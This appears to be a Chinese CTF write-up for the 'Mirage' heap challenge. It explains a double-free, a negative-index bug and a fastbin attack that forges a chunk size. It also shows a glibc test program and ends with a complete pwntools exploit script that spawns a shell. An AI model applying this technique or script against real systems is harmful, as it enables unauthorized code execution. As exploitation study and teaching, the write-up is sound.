0%

Mirage(fastbin的堆头size位有效只有4字节)

首先,我们检查一下程序的保护机制

然后,我们用IDA分析一下

看似复杂,但是我们的关注点在这里

当我们的初始化数据包满足条件,就能显示出菜单。

一个经典的增删查程序

Delete操作里有两个漏洞,一个是下标可以负向越界,另一个是对于下标大于46的,堆指针会被保留在数组里

而程序实际可以创建到下标48处(即49个堆),

那么,对于下标为47的堆,可以被我们double free,由于都是fastbin范围的块,我们需要让fastbin形成循环单链表。因此,我们delete(47)、delete(0)、delete(46)即可。

为什么第三个是delete(46),因为我们delete(0)后,原先在47位置的堆指针赋值到了46处。

程序在功能5有一个后门

不过需要chunk_number+8处数据满足条件。因此,我们用fastbin attack来攻击chunk_number。

我们控制chunk_number在0x20~0x2F的范围,使它伪造成一个chunk的size,这样,我们就能把它链接到之前的fastbin链表里,通过申请,就能申请到此处。

为了让chunk_number减少2个,但又不往fastbin里面新增chunk,我们可以delete()两个个空指针。于是我们执行两次的delete(-2)

不过,我们**[直接输入-2是不行的]{.mark}**

因为负号会被检测到,由此,我们采用补码的形式传入即可

1
2
3
4
#-2处是空的,free()空指针不会出错,我们可以让count减去2  
for i in range(2): #腾出两个空间
#即delete(-2)
delete(0x100000000-2)

然而,当我们delete(-2)后,变成这样了

[有堆的地址写到了fake_chunk的size的区域,如果把它链接到0x20的fastbin,申请看似会出错。]{.mark}

然而,事实是不会出错。这是怎么回事??

我们来做个试验

编译这段c语言代码,发现堆成功申请到目标地址处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>  
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main() {
printf("uint size=%d\n",sizeof(unsigned int));
char *p1 = (char *)malloc(0x10);
char *p2 = (char *)malloc(0x10);
free(p2);
free(p1);
*((int64_t *)(p2-0x8)) = 0xFFFFFFFF0000002F;
char *p3 = (char *)malloc(0x10);
char *p4 = (char *)malloc(0x10);
strcat(p2,"P4P4P4P");
printf("*p4=%s,*p2=%s",p4,p2);
return 0;
}

我们发现,[size域高4字节数据对伪造的fastbin没有影响。]{.mark}

我们来看看glibc的源码

1
2
3
/* offset 2 to use otherwise unindexable first 2 bins */  
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

注意到size被强制转换为unsigned int后再进行的计算。而unsigned int为4字节。这就解释的通了。这也是我的**[新发现]{.mark}**。

综上,我们完整的exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#coding:utf8  
from pwn import *

sh = process('./mirage')
chunk_number_addr = 0x60514C

def init_connection():
sh.send('RPCM' + p32(0) + p32(0x42,endian = 'big'))

def create(content):
sh.sendlineafter('> ','1')
sh.sendafter('content: ',content)

def show(index):
sh.sendlineafter('> ','2')
sh.sendlineafter('id: ',str(index))

def delete(index):
sh.sendlineafter('> ','3')
s = str(index)
#sh.sendafter('id: ',s)
sh.sendlineafter('id: ',str(index))

init_connection()
for i in range(49):
create('a'*0x4)

#形成双向链表
delete(47)
delete(0)
#delete 0 后,原来47的位置的指针移动到了46
delete(46)
#-2处是空的,free()空指针不会出错,我们可以让count减去2
for i in range(2): #腾出两个空间
#即delete(-2)
delete(0x100000000-2)
raw_input()
#将chunk_number_addr处的空间链入0x20大小的fastbin
#为了将chunk_number处的空间链入0x20大小的fastbin,我们需要让chunk_number接近0x20伪装成size
create(p32(chunk_number_addr - 0x8))
create('a'*0x4)
create('a'*0x4)
create(p32(0x100000000-17))
#getshell
sh.sendlineafter('> ','5')

sh.interactive()